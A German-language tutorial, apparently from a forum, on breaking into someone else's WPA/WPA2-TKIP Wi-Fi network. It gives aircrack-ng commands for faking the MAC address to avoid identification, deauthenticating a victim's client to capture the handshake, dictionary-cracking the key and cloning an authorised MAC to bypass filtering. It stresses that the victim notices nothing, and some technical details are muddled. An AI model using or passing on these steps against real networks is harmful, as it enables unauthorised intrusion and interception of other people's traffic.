Der Hack funktioniert nur mit der Brute Force Methode. Mein Core2Duo 3GHz crackt 420 Keys / Sek. Ausserdem ist es egal ob WPA2 oder WPA. Ist zum hacken identisch. Und es gehen nur WPA2 Verbindungen, welche nach Norm „TKIP“ encryptet sind. AES geht nit.
Damit wir wissen, wie unser Device heisst, einfach „iwconfig“ eintippen. Bei Atheros heissen die Devices immer athX.
Als erstes verpassen wir unserer Wireless Karte eine gefakte MAC Adresse um spätere Identifizierungen zu vertuschen:
ifconfig IFC hw ether 00:11:22:33:44:55
Damit die Karte alle Pakete sieht, schalten wir sie in den „Promiscuous Mode“ Man löscht den Monitormode auf device namens ath0 und kreiirt ihn noch mal über das device wifi0 das normale device ath0 kann anschliessend verwendet werden.
airmon-ng stop ath0 (löscht moni mode) airmon-ng start wifi0 (start moni mode auf ath0)
Man schaut sich nach AP’s um welche aktiv sind. Am besten ist es, wenn bereits Clients mit diesem AP verbunden sind: (Man sieht das in der unteren Hälfte Mit Stations und Clients)
airodump-ng –w FILE IFC CTRL – C
Man merkt sich von dem zu hackenden AP die BSSID sprich die MAC des AP. Man merkt sich den Channel auf welchem der AP sendet. Dann „hört“ man nur noch auf dem Channel und von der BSSID den Funkverkehr ab und schreibt die Pakete in ein CAP File. (DONT USE „–ivs“ Option!!)
airodump-ng –w FILE –c CH --bssid APMAC IFC
Eigentlich könnte man so nun warten , bis man im airodump-ng Fenster (SHELL 1) einen „Handshake“ bekommt. Der Angegriffene würde so nichts von allem merken. Kann aber etwas dauern.Daher beschleunigen wir das , indem wir den verbundenen Client zum disconnecten zwingen. Wie bekommt man einen verbunden Client dazu, sich noch mal zu verbinden und dadurch einen „Handshake“ zu senden? Ganz einfach. Wir sagen dem AP „Hallo ich bin der Client und will mich disconnecten“. Der richtige Client denkt sich: „ Scheisse , bin disconnected ! Muss mich gleich noch mal verbinden!“ und sendet den „Handshake, welchen wir mit SHELL 1 abspeichern. Das Handshaking wird bei erfolg in der ersten Zeile des Shells 1 angezeigt.
Um den richtigen Client zum disconnect zu zwingen, folgender Befehl:
aireplay-ng -0 1 -a AP_MAC –c CL_MAC IFC
Nun crackt man den Key aus den gespeicherten .cap Paketen, indem man sie mit einem Duden File vergleicht.
aircrack-ng -0 –x2 -w DIC FILE.cap
Bei MAC Filtred AP’s nun eine MAC eines authorisierten Clients auf die Wireless Karte setzen: ifconfig IFC down hw ether CL_MAC (maybe reset IFC first) dann verbindet man sich mit dem AP
wlassistant
iwconfig IFC essid AP_NAME_SSID mode Managed key s:KEY_ASCII ifconfig IFC up iwpriv IFC authmode 2 (Zum verbinden, LED flackern) dhcpcd IFC (Um Ip Adresse zu holen)